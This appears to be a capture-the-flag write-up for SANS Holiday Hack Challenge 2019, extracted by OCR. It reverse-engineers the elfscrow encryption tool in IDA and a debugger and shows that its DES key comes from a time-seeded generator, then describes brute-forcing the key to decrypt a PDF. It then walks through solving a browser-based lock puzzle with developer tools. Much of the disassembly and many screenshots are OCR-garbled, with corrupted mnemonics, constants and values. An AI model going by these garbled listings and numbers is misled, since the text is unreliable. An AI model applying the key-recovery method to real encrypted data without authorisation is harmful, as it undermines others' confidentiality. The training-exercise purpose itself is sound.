Link to the encrypted document (https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc)
Datetime range the document was encrypted: December 6, 2019, between 7pm and 9pm UTC

= P E

Excellent help is available in one of the KringleCon 2019 talks called "Reversing Crypto the Easy Way" given by Ron Bowes in Track 3
in Hermey Hall or can be viewed directly at this link: https://www.youtube.com/watch?v=obJdpKDpFBA

Like before, there are many tools and methods that could be used to do this analysis. The strategy | decided to follow was to use
IDA and Immunity Debugger to do the reverse engineering and debug the executable to figure out how it works and hopefully find a
flaw | can exploit.

First | did a few brief runs of the program itself from the command line just to see how it operates. | see now where the program
gets its name since it escrows the encryption key online to https://elfscrow.elfu.org/api/store

mmand Prompt

C .axe
el V1.01, the only encryption trusted by Santa!

bk WARWING: You’re reading fron stdin. That only partially work

y encrypt ion tre f'e-:ict-y Santal
Our niniature alves are putting together randon bits for uour secret key!
1578632494
ypt ion key: 251629b184b84592 (length: 8)

Lfscrou.elfu.org/apidstore

~7453-4481-8528-Fc0225F 88409 - Santa Saus, don’t share that key with anybody!

sttt —

Very interesting item here is the encryption key: 25 16 29 B1 84 B8 45 92
This is an 8-byte key, indicating DES encryption is very likely.
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|
" Then opening the elfscrow.exe in IDA and loading the pdb file with debug symbols, we can see the following functions: A
E do_decrypt(int,char *,char *,char *) text 00402A00
Lf | do_encrypt(int,char *,char *) text 00402600
z fatal_error(char *) text 00401CCO
£ | from_hex(char * const,uchar * const) text 00401EDO
Lf | generate_key(uchar * const) ext 00401DFO
z getopt_long_only(int,char * * const,char const *,0p... .text 00401C90
Lf| pre_c_init ext 00403716
Lf | pre_cpp_init text 00403555
Lf | print_hex{char *,uchar *,uint) text 00402540
\f | read_file(char *,ulong *) ext 004025C0
LS | retrieve_key(int,uchar * const, char *) text 00402220
Lf | store_key(int,uchar * const) text 00401F20
Lf | super_secure_randomivoid) ext 00401DCO
Lf | super_secure_srand(int) text 00401090
Lf | terminate(void) text 00403014
Lf | time fext 00401E60
Lf | to_hex{uchar * const,char * const) text 00401E80
Lf | usage(char *) text 00402080
£ | write_file(char * ,uchar *,uint) kext 00402660
The functions that stand out as interesting for analysis are:
. do_encrypt ()
. do_decrypt ()
. generate key ()
J super_secure_random ()
. super_secure_srand ()
o time ()
Taking a look at the disassembly of do_encrypt ():
s =
; Attributes: bp-based frame
; void _ cdecl do_encrypt{int insecure, char =in_file, char =out_file)
?do_encryptREEYAXHPADBEZ proc near
data= dword ptr -38h
keyBlob= DESKEYBLOB ptr -2Ch
key= byte ptr -18h
var_18= dword ptr -18h
hProv= dword ptr -8Ch
hKey= dword ptr -8
data_len= dword ptr -4
insecure= dword ptr 8
in_file= dword ptr BCh
out file= dword ptr 16h
push ebp
novy ebp, esp
sub esp, 36h
nov eax, _  security_cookie
Xor eax, ebp
nov [ebp+var_18], eax
lea eax, [ebp+data_len]
push eax ; len
nou ecx, [ebp+in_file]
push ecx ; filename
call ?read_file@@YAPAEPADPAKEZ ; read_file(char #*,ulong =)
add esp, 8
novy [ebp+data], eax
novy edx, [ebp+data_len]
add edx, 16h
push edx ; MewSize
nov eax, [ebp+data]
push Bax ; Memory
call ds:__imp_ realloc
add esp, 8
nov [ebp+data], eax
push BF B0B066BL ; duFlags
push 1 ; duProvType
push offset szProvider ; "HMicrosoft Enhanced Cryptographic Provid”...
push a ; szContainer
lea ecx, [ebp+hProv]
push ecx ; phProv
call ds:__imp_ CryptAcquireContextA@28 ; CryptAcquireContextA(x,x,%,%,x)
test eax, eax
jnz short loc_ 482733
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" The interesting items above, we see where the plaintext file is read in using read file () and the call to

CryptAcquireContextA().

Taking a closer look, these instructions push parameters on to the stack followed by the call to CryptAcquireContextA () .

827 0n
827 aF
82711
82716
82718
8271B
8271cC

push
push
push
push
lea

push
call

BF8888888h ; dwFlags

1 ; duProuType

offset szProvider ; "Microsoft Enhanced Cryptographic Provid™...
a ; szContainer

ec®, [ebp+hProu]

ecx ; phProu

ds:  imp_ CryptAcquireContextA@28 ; CryptAcquireContexth(x,x,x,x,x)

The CryptAcquireContextA () function call and its parameters are defined by Microsoft in the following links:

https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta

https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-names

https://docs.microsoft.com/en-us/windows/win32/seccrypto/microsoft-enhanced-cryptographic-provider

https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptographic-provider-types

The article warns this function is deprecated:

CryptAcquireContextA function

12/04/2018 « 1

Important This API is deprecated. New and existing software should start using Cryptography Next
Generation APIs. Microsoft may remove this APl in future releases.

The szProvider parameter indicates it's using: Microsoft Enhanced Cryptographic Provider v1.0
Note: this provider supports multiple ciphers including legacy ciphers like DES

Continuing further in the do_encrypt () :

push ecx 5 phProv
call ds:__imp_ CryptAcquireGontextn@28 ; CryptAcquireContextA(x,x,X.X, %)
test eax, eax
jnz short loc_482733
h J
"I "=
push offset aCryptacquireco ; "CryptAcquireContext failed™
call Ffatal_error@@YAXPADEZ ; fatal error{char =) loc_482733:
lea edx, [ebp+key]
push edx ; buffer
call 7generate_KeyBRYAXQAEEZ ; generate_key(uchar * const)
add esp, &4
push 8 ; length
lea eax, [ebp+key]
push eax ; str
push offset title ; "Generated an encryption key"
call 7print_hex@RYAXPADPAEIBZ ; print_hex{char =,uchar =,uint}
add esp, OCh
nov [ebp+keyBlob .hdr .bType], 8
nov [ebp+keyBlob.hdr.bVersion], 2
xor ecx, ecx
nov [ebp+keyBlob . hdr .reserved], cx
nov [ebp+keyBlob .hdr.aiKeyalg], 6681h
nov [ebp+keyBlob .duKeySize], B
nov edx, dword ptr [ebp+key]
nov dword ptr [ebp+keyBlob.rgbKeyData], edx
nov eax, dword ptr [ebp+key+h]
nov dword ptr [ebp+keyBlob.rgbKeyDatass], eax
lea ecx, [ebp+hKey]
push ecx ; phKey
push 1 ; duFlags
push a ; hPubKey
push 14h ; dubatalen
lea edx, [ebp+keyBlob]
push edx ; pbbata
nov eax, [ebp+hProv]
push eax ; hProv
call ds:__imp__ CryptImportKey@24 ; CryptImportKey(x,x,x,%,%,%)
test eax, eax
jnz short loc_4827R3
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'Following the right branch, where execution continues if no error occurred, we see two interesting calls: one to generate key ()
and another to Crypt ImportKey () .

B277D push ECX

B277E push 1

a2788 push a

B2782 push 14h

B2784 lea edx, [ebp+keyBElo
a2787 push edx

B2788 mov eax, [ebp+hProu]
a278e push eax s hProv

B278C call ds:  imp_ CryptImportHey@2h ; CryptImportKey(x,®,x,x,%,x)

phKey
dwFlags
hPubKey
dubDatalen

1
phData

The CryptImportKey () function call (also deprecated) and its parameters are defined by Microsoft in the following link:
https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptimportkey

As we inspect certain variables and error messages, there are clues that indicate that DES is the cipher in use:

02784 lea edx, [ebp+keyBlob]

w2787 push edx ; pbData

02788 nov eax, [ebp+hProv]  [Capagoese ; Use data definition commands to create local variables and Function argquments.
02788 push eat s |-pepese3s ; Tuo special fields " r* and " s" represent return address and saved registers.
0278C call ds:__imp_ CryptInpi_ppopoe3e ; Franme size: 30; Saved regs: 4; Purge: 0

82792 test eax, eax 80000630 ;

02794 jnz short loc_482783 | papapoza

02796 push  offset aCryptinpor{ ggappese data dd ? ; offset
82798 call ?fatal_errorBEYARPI_gpppop2c keyBlob DESKEYBLOB 7
02798 ; -80000018 key db 8 dup(?)

00001871 [00402771: do encryptiinc,char *,char *)#Al - 00000610 var_18 dd 7

Kl

Continuing down the do_encrypt () function, another clue that DES is being used and in CBC (Cipher Block Chaining) mode

call ds:__imp_ CryptlmportKey@2h ; CryptImportKey(x,x,%,%,%,%)
test eax, eax
jnz short loc_4827A3

L L
s e B
push offset aCryptimportkey ; “CryptImportiey Failed for DES-CBC key"
call ?fatal_errorBEYAXPADRZ ; fatal errorichar =) loc_4827A3:
mov ecx, [ebp+data_len]
add ecx, 8
push ecx ; dwBuflLen
lea edx, [ebp+data_len]
push edx 5 pdwbatalen
mou eax, [ebp+data]
push eax
push a
push 1
push 8
mou ecx, [ebp+hKey]
push BCx ; hKey
call ds:__imp_ CryptEncrypt@28 ; CryptEncrypt{x,®,X,¥,X,%,%)
test eax, eax
jnz short loc_u827DB

; pbbata
5 dwFlags
; Final

; hHash

Following the right branch, where execution continues if no error occurred, we see one last interesting call to CryptEncrypt () .

The CryptEncrypt () function call (also deprecated) and its parameters are defined by Microsoft in the following link:
https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt
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Then right after calling the time () function, generate key () does a push eax (which is the epoch time) as a parameter to pass to
the super secure srand() function. Notice that this time value becomes the seed value for super secure srand(). That
means that the current Epoch time when the elfcrow.exe was run is the seed value for the super secure srand () function!

" Now going back to the generate key () function we saw earlier; this is where the DES encryption key is generated: N
"I
; Attributes: bp-based frame
; void _ cdecl generate_key(char xbuffer)
?generate_key@EYAXQAEEZ proc near
i= dword ptr -4
buffer= dword ptr 8
push ebp
nov ebp, esp
push ecx
push offset alurMiniatureEl ; “Our miniature elves are putting togethe...
call ds:__imp iob_func
add eax, 4oh
push eax ; File
call ds:__imp__fprintf
add esp, &
push [:] ; _Time
call time
add esp, b
push eax ; seed
call ?super_secure_srand@@YAXHEZ ; super secure srand{int)
add esp, 4
nov [ebp+i], @
jmp short loc_uB1E31
i ¥
"]
loc_4@81E31:
cnp [ebp+i], 8
jnb short loc_u@1E4F
1
Y Y
(= I [~ ]
call ?5uper_secure_randon@BYAHXZ ; super_secure_random{uoid)
nouzx ecx, al loc_481ELF:
and ecx, OFFh moy esp, ebp
noy edx, [ebp+buffer] pop ebp
add edx, [ebp+i] retn
noy [edx], cl 7generate_keyBEAYAXQAEEZ endp
jmp short loc_4B1E28
"I
loc_401E28:
nov eax, [ebp+i]
add eax, 1
mnoy [ebp+i], eax
Here there are two very interesting functions being called inside of generate key():
e time () function
o super secure_ srand() function
The time () function shown here below calls _time64 () which returns the number of seconds elapsed since midnight, January 1,
1970 (aka. Epoch time) and stores that value in register eax as a return value to generate key ():
e
; Attributes: bp-based frame
; _ int64 _ cdecl time{_  int64 * Time) - =
time proc near P“Sh u_ L] _T].ITIE
ines duard ot 8 call time
ime= dwor r
- . add esp, 4
3:3“ :gg esp push eax ; seed
nou eax, [ebp+ Tinme] call Tsuper_secure_srand@@YAXHEZ ; super_secure_srand{int)
push eax ; Time
call ds:__imp__ timedh
add esp, &
pop ebp
retn
time endp
y
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" Now let's take a look at what super secure srand () does with the seed value:

; Attributes: bp-based frame

; void _ cdecl super_secure_srand{int seed)
Tsuper_secure_srand@@YAXHEZ proc near

seed= dword ptr 8

lpu5h ebp

nov ebp, esp

nov eax, [ebp+seed]

push eax

push offset aSeedD ; “Seed = %din\n™
call ds:_ imp iob_func
add eax, 48h

push Pax ; File
call ds:__imp_ fprintf

add esp, BCh

mnov ecx, [ebp+seed]

nov state, ecx

pop ebp

retn
Tsuper_secure_srand@EYAXHEZ endp

It prints the seed value and then stores it in a variable called state (will be referenced later), then returns to generate key () to
continue execution falling through to this loop:

'R ;

bl s Rl

loc_481E31:

cnp [ebp+i], 8
inb short loc_WO1EMF
I 1
L ]
[ [ I
call ?super_secure_random@@YAHXZ ; super secure random{uvoid)
movzy  ecx, al loc_UB1ENF:
and ecx, BFFh nov esp, ebp
moy edx, [ebp+buffer] pop ebp
add edx, [ebp+i] retn
moy [edx], cl ?generate_key@AYAXQAERZ endp
jmp short loc_HO1E28
(= ]

loc_401E28:

mnoy eax, [ebp+i]

add eax, 1

mov [ebp+i], eax
|

This loop will iterate 8 times, calling another function super secure random() and performing some post calculations on each
iteration of the loop. Let's see the code for super secure random() and the loop body code snippet from above.

A

E
] i
4
‘-
y
1 | | | I
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Having both side by side will complete the picture of what this code does:

; Attributes: bp-based frame

= | ; int _ cdecl super_secure_random()
= ?super_secure_randomn@E8YAHXZ proc near
call Tsuper_secure random@@YAHXZ ; super secure random{uvoid) push ebp
mouzk  ecx, al hou  eax, state
and ecx, OFFh imil  eax, 343FDh
nov edx, [ebp+buffer] add eax, 269EC3h
add edx, [ebp+i] nou state,te:x
mov [Ed“]' cl mov eax, state
sar eax, 168h
jmp short loc WO1E28 and eax. 7FFFh
» pop ebp
retn

?super_secure_randomnEEYAHXZ endp

If we follow the logic of these two blocks starting with the left block, the sequence looks like this:

1.

10.

11.

12.

13.

14.

Call super_secure_random() -> control passes to the right code block.

In super secure random ()

Ignore "push ebp" and "mov ebp, esp" as these are part of the CDECL function prologue to prepare the stack

"mov eax, state" - place state value in eax (this was set in super secure srand() -initially is the Epoch time seed.)

For the first iteration of the loop - eax now contains the Epoch time seed value
For subsequent iterations - eax will contain the previous loop iteration state value from step 6

"imul eax, 343FDh" - multiply the value in eax with 0x0343FD (214013 int) and store the result in eax

"add eax, 269EC3h"-add the value in eax to 0x269EC3 (2531011 int) and store the result in eax

"mov state, eax"-store current value of eax in the state variable (this becomes the new state for next iteration)
mov eax, state"-copythe same value from state back into eax

"sar eax, 10h"-do a bitwise shift right on the value of eax for 10h (16 int) number of bits

and eax, 7FFFh"-do a bitwise AND on the 2 low order bytes of eax with 7FFFh (0111 1111 1111 1111 binary)
pop epb"and "retn" to prepare the stack and return to the 2" line in the left block

Back in generate_key ()

"movzx ecx, al"-move the low order byte (8 bits) of eax (al) to ecx

"and ecx, OFFh"-do a bitwise AND on the low order byte of ecx with OFFh (0000 0000 1111 1111 binary)

At this step, we have 1 byte of the actual encryption key in the low order byte of ecx and the next three instructions will store that
byte in a memory buffer which will expand byte-by-byte to build the encryption key as we iterate through this loop a total of 8 times.

"mov edx, [ebp+buffer]"”,"add edx, [ebp+i]","mov [edx], cl1"-storelow order byte c/into the buffer location
at index i

"Jjmp short loc_401E28" - this goes to the instructions that increment the loop counter by 1, do the compare if we've
reached 8 iterations, and if not loop again otherwise exit the loop.

We can follow this same execution flow in Immunity Debugger to verify with an actual run of elfcrow.exe with actual values that
we're analyzing this correctly.
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We can start Immunity Debugger and launch the el fcrow.exe process with some command line parameters to encrypt a test file:

i2ilis= 1l emtwhc

5
Look ir: | Dbjective10 j £k ER-

[—
~

elfscrow. exe

File narne: |elfscmw.exe
Files of type: | Executable file [ exe] | Cancel
Arguments: —encmpt test pdf test pdf enc ﬂ

Once running, we can see the executable is loaded into memory:

#. Immunity Debugger - elfscrow.exe - [Executable modules]

@File Wiews Debug  Plugins  Immlib  Options  Window Help  Jobs
)BT X P NI i¥lie+ lemtwhcPkbzr..

Fath

Base Size Entiy Marae File version

L1-1-

=l1-1-8.dL1

1i-1 dll
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We find the locations of super secure srand() and further down generate key (), where we can set some breakpoints.
BEEZ105C

PUSH & Lfscrow. BEE342ES ASCII "Seed = HdEmE™
DWORD FTR DSz [<&MSUCR9E. __iob_func FMSUCR28. _p  iob

ERA! Strean
DWORD PTR D5: C{&MSUCROG. fprintfx] Lfprintf
ADD ESF,&C

Mo ECH,

FMoU DWORD PTR D5: [3682C1, ECH

FOF EEF

UsH EEF
Moy EBF,.ESP
. Al zZCeBasan MO0 ERs, DWORD PTR DS: 368201
. 630H FO428388 IMUL EMX, ERR, = Lfscrow. BBE343F0 ASCII "nternetSetOption failed™
. BS C39EzcB@  ADD ERK, 269ECE
A3 ZCo@agan 1 DWORD PTR DS: [3c82C1, ERX
ER, DWORD PTR DS: [2682C]

. CiFZ 16 SHR ERX.
. 25 FFFFo@aa ERX, FFFF
E0 FOF EEF

Ci

PUSH & Lfscrow. BEE34310 ASCIT "Dur miniature elwes are putting together random bits for wour secret kewtEE™
. L ARESEE DWORD PTR D5: C{&MSUCRY8.__iob_func MSUCR9@._p  iob
. 9308 48 AOD EAX, 48
. 5@ FUSH ER: Strean
. FF15 Co48a266 CWORD FTR DS5: C{&MSUCRIG. fprintf:] fprintf
. 9304 B85 BO00 ESF, 2
. BA 8@ FUSH @ [nrgi = GE0AGEGH
. ES 40880658 e lfsorow. BBBZ1ECE elfzcrow. A1101ESE
. 5304 a4 00 ESF, 4
. 5@ FUSH ERX [nrgl
. E& T4FFFFFF e lfsorow. BEEZ1096 elfscrow. 1101096
. 5304 B4 AOO ESF, 4

. CP4E FC B@a@a (ol , 8

. EB B9 SHORT elfscrow.B@ES1IES]
SE45 FC

. 2208 @l

. 294 FC MO ERH

2270 FC B2 5
. r31e SHORT elfscrow. BEE31E4F
. EZ 24FFFFFF elfscrow, BBE310CH
. BFBECE MOUEE ECH, AL
. S1El FFBE@eEs | AMD ECH, 8FF
SBEE @g MoL ED:
ADD EDH,
HMOU BYTE PTR DO5: [EDXI, CL
SHORT =lfscrow. BEE21E2E
Hoy ESF, EBP
FOF EEF

HEAZ1EEE

By placing a breakpoint right after the call to _time64 (), we can validate the value that the time () function (shown below)
generates is an Epoch time value and that it stores it in eax so it can be picked up as the seed value by super secure srand()

SEBES4EF
BREEEEEE
BREEEHEE

FUSH ERX
. ’ . BEEEEEAE
DMDED FTR DS: [<&MSUCRIE._t imedd ] MSUCRSE._t imedd AGC4E045

A1 AOD ESF,

1z . & FOF EEF SSS;EE;E
H1351EV] A135638C elfscrow. B1356380C
B1ZE1EFE INTZ )

B1351EV3 IMT2 B1351E6D elfscrow. B1351E6D

We see that value OxX5SEOB94EF was stored in eax and doing the conversion to decimal int, it is Epoch time 1577817327.
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. Calculator

Wiew Edit Help

002 QP02 0PPQ QPO@ Q0P ©PE2 000 0002 QP02 0QPP@ QPP ©PEQ 000 Q2B Q200
63 47 32 63 47 32
111 @eee@ 1811 mm gle@ 111@ @lel  111@ @ee@ 1011 leel elee@ 111@ 1111
31 15 2
3 od| A | MC| MR| mMs | M+ " Hex od MC | MR Ms | M| oM
Son _J_Jﬁj [ Son _J_J_LJ 0 O N A
4
 Oct = o =
~ Rin it S Ao e RO H R | ™~ Rin ot o = RS HRP |

Continuing execution, back in generate_key(), we can see that this current Epoch time becomes the initial seed value for the
super secure_ srand () function, saved to state, and then this initial seed subsequently ends up in super secure random()
(shown below) when it's copied back from state into eax in the initial iteration of the loop.

- Reg l'E.tE"I"S [FFU]

. Calculator

Wigw Edit  Help

SEQBS4EF

ddgda 222 22@@ el Jdoal Qa@ad J20dl  Qaga

: v a7 32
AOD EA @lel 1112 @eee 1011 1@l e@le@ 1l11@ 1111
PUSH ER 31 15 a

OwWorRD FTR

AOD
et — * Hex Mod

A| MC‘ MFL| MS‘ M+

" |
This screen below shows the step in super secure random () where the current value in eax is saved off to the state variable,
which will be used in the next iteration of the loop. You can see in the Dump view in the lower left window the state buffer address

(0x0135602C) and the value it stores (in little endian) to right of it "F6 5B 60 B8" which matches what's currently in eax:

Lsters [FPU]

.@135100
. BIFFFFFFFF)
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In this screen above we're back in generate key () and the code that called super secure random()is at address 01351E37.

Let's walk through the next five instructions step by step and they mirror Steps 11-13 in the walkthrough we did earlier with IDA.
Upon returning from the super secure random () call, execution continues at address 01351E3C:

MOVZX ECX, AL
This is equivalent to Step 11 from the IDA walkthrough - "move the low order byte (8 bits) of eax (al) to ecx"

Then execution continues at the next address 01351E3F:

AND ECX, OFF
This is equivalent to Step 12 from the IDA walkthrough - "do a bitwise AND on the low order byte of ecx with OFFh (0000 0000 1111 1111
binary)"

When we reach the next instruction at address 01351E45, we now have in CL (low order byte of ecx) a byte of our encryption key!

MOV EDX, DWORD PTR SS: [EBP+8]
This instruction loads the address of the key buffer from the stack into EDX.

Then execution continues at the next address 01351E48:

ADD EDX,DWORD PTR SS: [EBP-4]

This instruction increments the address pointer stored in EDX with a counter value stored on the stack, so we can store the next byte in the
key in the next buffer location.

Then execution continues at the next address 01351E4B:

MOV BYTE PTR DS: [EDX],CL
This instruction will take the key byte in CL and store it in memory address contained in EDX.

The above code also shows the CMP instruction at address 01351E31 which controls the number of times the loop executes, which
is 8 because it ultimately generates an 8-byte encryption key, byte-by-byte. (indicating a DES key).

It is very helpful to setup breakpoints as shown in the screens above and to step through instruction by instruction in the debugger
while the generate key () and super secure random () logic progresses to see what's happening at each step.

Having gone through all the analysis thus far, we now know:

The encryption algorithm used, which is DES-CBC

The exact logic of how to generate the key

The fact that the seed value is a predictable value based on the current Epoch time the program was run

A discrete time range when the encrypted pdf was encrypted: (December 6, 2019, between 7pm and 9pm UTC)

i 0 NS

It is now possible to model this logic in a Python program which will read in the ciphertext from the encrypted document, and
attempt to bruteforce the encryption key until a readable and expected plaintext is produced. Since in our case the encrypted
document was a pdf file, there are known plaintext magic bytes at the start of every pdf file we can compare against.
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My Python program called el fscrow crack.py implements the DES algorithm including CBC mode using the pycrypto library
(python3 -m pip install pycrypto). | also created a helper program called get epoch time.py that will calculate the Epoch time
given a year, month, day, hour, minute, seconds input. The full source for both are in the Appendix of this report or at
https://github.com/deckerXL/SANSHolidayHackChallenge2019. See here is the run output of each and the recovery of the plaintext pdf

from the provided encrypted pdf:

--month=12 -

--minut

9 --month=12 -

FOUND IT! - S

tartGuideV

Writing plaintext output [./ELfU

FOUND IT! - Seed:1575663650 -- Key: b5ad6a321240fbec -- Bytes: [b'PDF-1.3']
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https://github.com/deckerXL/SANSHolidayHackChallenge2019

|

'Openmg the decrypted pdf file shows the following: N
: ElFUResearchLabsSuperSledOMaticQuickStartGuidev1.2.pdFf
F o} £ ElFUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdF [R =

Ryesealmh Labs

Super Sled-O-Matic
Machine Learning Sleigh Route Finder
QUICK-START GUIDE

s

The answer to Objective 10 needed for the badge question is the string: Machine Learning Sleigh Route Finder
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& 10) Recover Cleartext Document
Difficulty:

The Elfscrow Crypto tool is a vital asset used at Elf
University for encrypting SUPER SECRET documents. We
can't send you the source, but we do have debug
symbols that you can use.

Recover the plaintext content for this encrypted
document. We know that it was encrypted on December
6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint:
it's five words)

For hints on achieving this objective, please visit
the NetWars room and talk with Holly Evergreen.

Machine Learning Sleigh Route Finder

€& 10) Recover Cleartext Document
Difficulty:

The Elfscrow Crypto tool is a vital asset used at ELf
University for encrypting SUPER SECRET documents. We
can't send you the source, but we do have debug
symbols that you can use.

Recover the plaintext content for this encrypted
document. We know that it was encrypted on December
6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint:
it's five words)

For hints on achieving this objective, please visit
the NetWars room and talk with Holly Evergreen.

Congratulations! You have completed
the Recowver Cleartext Document
challenge!
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Objective 11 — Open the Sleigh Shop Door

For this Objective, the summary given in the badge directs you to speak to Shinny Upatree in the Student Union, where he tells us:

Shinny Upatree:

Psst - hey!

I'm Shinny Upatree, and | know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.
In fact, | know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into my crate, here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

The crate site (https://crate.elfu.org/) is a web challenge that displays a virtual crate with 10 digital locks. Each lock has a challenge
question which leads to an 8-character code that unlocks each lock. The answers to each lock are found by examining the DOM

using the built-in browser developer tools accessed via F12 in the browser. Note that all codes are recalculated on every visit or

refresh of the page, so refreshing the page will force you to start over. | found this challenge to be slightly more straightforward to

solve in Firefox vs. Chrome, so below will be the solutions based on Firefox and its built-in developer tools. All locks need the
developer tools pane open, so press F12 and leave it up for the duration of this Objective and it should look like this for Firefox:

:root O { ed2999a3-7481-4769-9c8b-c4d571ffeba2: 3

® {3 Inspecter Console [ Debugger 1} Network {3} StyleEditor () Performance {Jk Memory [E) Storage <y Accessibility & What's New 4] = X
Q Search HTML 4+ | V7 Filter Styles hov ls + [@ [ Layout Computed Changes |~
<IDOCTYPE html> element {3 { inline I + Flexbox
<html= [scroll 1
» <head> (=) </head: htnl, body €F { £d299933-7481-4769-9c8b - c4d571ffeBa2: 24 Select a Flex container or item to
b <div class="box"=[=l</div= height: 100%; ~ Grid
script text/javascript fclient.js/ed2999a3-7481-4769-9c8b- padding: »8;
c4d5717febal script margin: b 0; €SS Grid is not in use on this page
</body= 1
</html> =0 2299923 -7481-4769-9c8h-c4ds 71t fe6a2:2a [ 7 BOX Model
box-sizing: border-box;
} i 5
- margin
Inherited From html
html > body

When you find a code, just click in the lock display window, type it in (must be 8-characters), and press UNLOCK button
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LOCK #1: A
Question:
I locked the crate with the villain's name inside. Can you get it out?
You don't need a clever riddle to open the console and scroll a little.
Holiday Hack Trail Hint (HARD Mode):
"1 - When I'm down, my F12 key consoles me"
Solution:
1. Console tab - scroll up to the top and you will see the code in a green block.
Crack the Crate
? Crack the Crate » IS
c @ O @ hy teelfu.org - & vinm g o=
I locked the crafe wilh the villain's
- You don’'t ned o cleer widdle o open
the conaole and scholl o Lltle.
e e a e o Rind ?
3 2T e - y
¥ 0O inspector [ Console (> Debugger T4 Metwork [} StyleEditer € Performance  { Memory [E Storage 3% gl =+ X
EI ( Fi Errors  Warnings Logs Info  Debug 55 M¥HR Requests ':},
Console was cleared. abeTERA5-9291-4877-a371 - 56beb466906C : 1 : 25055
m0eTERAS -029] -4877 -a37F-Sebehd66906c; 11 2810
2BBABETE
0
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LOCK #2:

Question:
Some codes are hard to spy, perhaps they'll show up on pulp with dye?

Holiday Hack Trail Hint (HARD Mode):
"2 - Reminds me of the transition to the paperless naughty/nice list..."

Solution:
1. Inspector tab - scroll to the list item <li> tag for the "c2-text instructions"

2. You will find it in the <div class="libra"> section

Crack the Crate

? Crack the Crate

c @

ate.elfu.org
they' @ show up. ompa.(ﬂ_w-fl dye ?
= e Hada kit ?

O® O inspector Console [ Debugger T4 MNetwork {} styleEditor () Performance L Memory [ Storage
Q, Search HTML + A TFiers chov s 4+ )
W= : element £ { inline
iimarker J
w<div class="c2-text instructions®>

Some codes are hard to spy, perhaps they'll show up on pulp with dye?
“component gnome® data-code="XJ0"»</div>

.libra strong print.css:1

=div clas:
w <div clas

display: none;

<stron 5
& -877-a37-56beb466906c:20
=/div= o
<fdiv=
box-sizing: border-
<button class="hint-dispenser" data-id="2"=>Need a hint?</button= levent [T 4
=fli= ; H

b <lixl=l/lis
Inherited from div

tions » divlibra * strong

html > body » divbox » ullocks > G » dive bl
77-a37f-56bebd66906C: 356
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LOCK #3:

Question:
This code is still unknown; it was fetched but never shown.

Holiday Hack Trail Hint (HARD Mode):
"3 - Like a present stuck in the chimney! It got sent..."

Solution:
1. Network tab - hover over the png file shown in the list or right click to view

? Crack the Crate x IE

» |Burp

c o a elfu.org - R rin @& ™
— Thin code it a6l unknown; L was
Nud a hinl?
) S

1

¥ O inspector GJ Console [ Debugger T Network {} Style Editor
o] ? a0e780a5-0291-4877-a7 X

Al HTML €SS JS5 XHR Fonts Images Media WS Other e {a Il-l “ e ) c:* ¢; » E

ale780a5-0291-4877-a37F-56beb46 6906 png

a0e780a5-0291-4877-a37F-56bebd66906cpng  Fetch

arg  unlock Fetch
a0e780a5-0291-4877-a37F-56bebd66906cpng  Fekch

1 A A
1 B
= &

ha
-]
=)
o

i

ol @

38 requests 273.64 KB/ 260.01 KB transferred Finish: 30 min
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" LOCK #4: A
Question:
Where might we keep the things we forage? Yes, of course: Local barrels!
Holiday Hack Trail Hint (HARD Mode):
"4 - We keep that next to the cookie jar"
Solution:
1. Storage tab - under "local Storage"
2. Key/value pair will be shown and it's in the value field
Crack the Crate N76DD
? Crack the Crate x IBE
c @ © | & https://crate.elfu.org xd ¢ no e B =
i i Fhi . Nud a kint? e
¥ 1O inspector Console [ Debugger T4 MNetwork {3} styleEditor () Performance L Memory [ Storage T Accessibility 3 0] === X
» Ecachestunge T Filter Items 4+ G [k | 7 Filtervalues
B ndeneaos B s
@ https:/fcrate.elfu.org
- E Local Storage
@ https:/fcrate.elfu.org
13 E Session Storage
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LOCK #5: .
.
Question:
Did you notice the code in the title? It may very well prove vital.
Holiday Hack Trail Hint (HARD Mode):
"5 - My title is toy maker the combination is 12345"
Solution:
1. Inspector tab - expand the "head" and then "title" section
Crack the Crate
? Crack the Crate
c @ v ino e B o=
00 O Inspector Console [ Debugger T4 MNetwork {3} styleEditor () Performance { Memory [ Storage  Accessibility 3> 0] === X
Q ML + A TFiersn thov cls 4+ [B [ Layout Computed Changes =
ST Ly No element selected. = Flexbaox
<html= [scroll
* <head Select a Flex container or item to
continue.
NT6DDIWY R
link ="stylesheet ref="gss/styles.css/afe780a5-0291-4877 - (CSS Grid is not in use on this page
837 -56heb466I86C
Link ="stylesheet ="¢ssfprint.css « Box Model
link ="https://fonts.googleapis.com/css?family=Beth+Ellenfdisplay=swap
="stylesheet
p <style=[=l</style margin 8
et > hend » tte [oracr |
SR |
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Question:
In order for this hologram to be effective, it may be necessary to increase your perspective.

Holiday Hack Trail Hint (HARD Mode):
"6 - Are we making hologram elf trading cards this year?"

Solution:

" LOCK #6: A
. Inspector tab
. Scroll down to the list item for the instructions for this lock
. Right click on this list item and "Expand All"
. Find the div subsection for "sticker"
. Then find the div subsection for "hologram"
. Look to the right in "Filter Styles" window and for hologram you should see a "perspective" field with value "15px"

Change the "15px" to something between "7200px" and "7800px" to get the letters to line up in the proper order in the
sticker image
Use that order to enter the code

Crack the Crate N7TE6DDJIWY - Mozill

? (Crack the Crate

e @ 0 a elfuorg - @ ¢ In o & W

S odos. or thi Kalogham to e
efpuctive, o may be necrsary to nenease
S Rl Rd®

In arder For this hologram te |~ »  Highlight All Match Case Whole Words b
3@ © mspector (@) Console [ Debugger T4 Metwork () StleEditor () Performance ik Memory (B Storage ¢ Accessibiity o) What's Mew i - ®
C + &£ 7 thov £s + (@ [EI Layout Computed Changes =
1 g q L = Flexbox

apivcompar Select a Flex container oritem to
contmee.

v Grid

C55 G i5 mot in use on this page

~ Bax Model

margin
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" LOCK #7:

Question:
The font you're seeing is pretty slick, but this lock's code was my first pick.

